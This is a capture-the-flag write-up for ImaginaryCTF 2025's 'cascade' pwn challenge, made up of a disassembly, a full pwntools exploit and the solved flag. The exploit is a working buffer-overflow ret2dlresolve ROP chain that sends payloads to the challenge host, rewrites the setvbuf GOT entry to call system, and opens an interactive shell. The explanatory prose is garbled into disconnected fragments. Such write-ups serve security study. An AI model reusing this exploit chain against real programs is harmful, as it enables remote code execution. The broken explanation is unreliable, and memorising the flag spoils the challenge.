┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: ImaginaryCTF 2025
~ CuB3y0nd
# cascade

## Information

- Category: Pwn
- Difficulty: Medium
- Points: 292

## Description

> just a buffer overflow, right?

## Write-up

64 512 Partial RELRO gadgets libc……
 `ret2dlresolve` system system
 system  shell 
 exp ……

 wp ret2dlresolve pwntools  
fake structures system system 
 rdi gadget 
 rop  wp 
……

 wp  system
怀亿
……

ropper  gadgets system 


 main  `setvbuf` bss 

```asm ins={10-21}
; Attributes: bp-based frame

; int __fastcall main(int argc, const char **argv, const char **envp)
public main
main proc near
; __unwind {
endbr64
push    rbp
mov     rbp, rsp
mov     rax, cs:stdout@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     rax, cs:stdin@GLIBC_2_2_5
mov     ecx, 0          ; n
mov     edx, 2          ; modes
mov     esi, 0          ; buf
mov     rdi, rax        ; stream
call    _setvbuf
mov     eax, 0
call    vuln
mov     eax, 0
pop     rbp
retn
; } // starts at 40117B
main endp

_text ends
```

 bss  `stdin`  `stdout`  rdi 
 PIE~~

 ret2dlresolve  got  main 
 setvbuf  dlresolve 
 system  setvbuf  got  main 
 setvbuf setvbuf  system 



```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  vuln();
  return 0;
}
```

:::important
 payload `data_addr`  dlresolve payl
oad  read  RBP 
 dlresolve  prologues  RSP 
访 abort 
:::

~_PS: ……
…… :sob:_~

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ROP,
    Ret2dlresolvePayload,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./vuln"
HOST, PORT = "cascade.chal.imaginaryctf.org", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
rop = ROP(elf)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    read = 0x401162
    dlresolve = Ret2dlresolvePayload(
        elf=elf,
        symbol="system",
        args=[],
        data_addr=0x404070,
        resolution_addr=elf.got["setvbuf"],
    )
    payload = flat(
        b"A" * 64,
        elf.sym["stdout"] + 0x40,
        read,
    ).ljust(0x200 - 1, b"x00")

    raw_input("DEBUG")
    target.sendline(payload)

    rop.ret2dlresolve(dlresolve)
    rop.raw(rop.ret)
    rop.main()
    target.success(rop.dump())

    payload = flat(
        elf.sym["stdout"] + 0x8,  # /bin/sh address
        b"/bin/shx00",
        b"A" * 0x30,
        0x404F40,  # rbp
        read,
        dlresolve.payload,
    ).ljust(0x200 - 1, b"x00")
    target.sendline(payload)

    payload = flat(
        b"A" * 0x40,
        b"B" * 0x8,  # rbp
        rop.chain(),
    ).ljust(0x200 - 1, b"x00")
    target.sendline(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`ictf{i_h0pe_y0u_didnt_use_ret2dl_94b51175}`]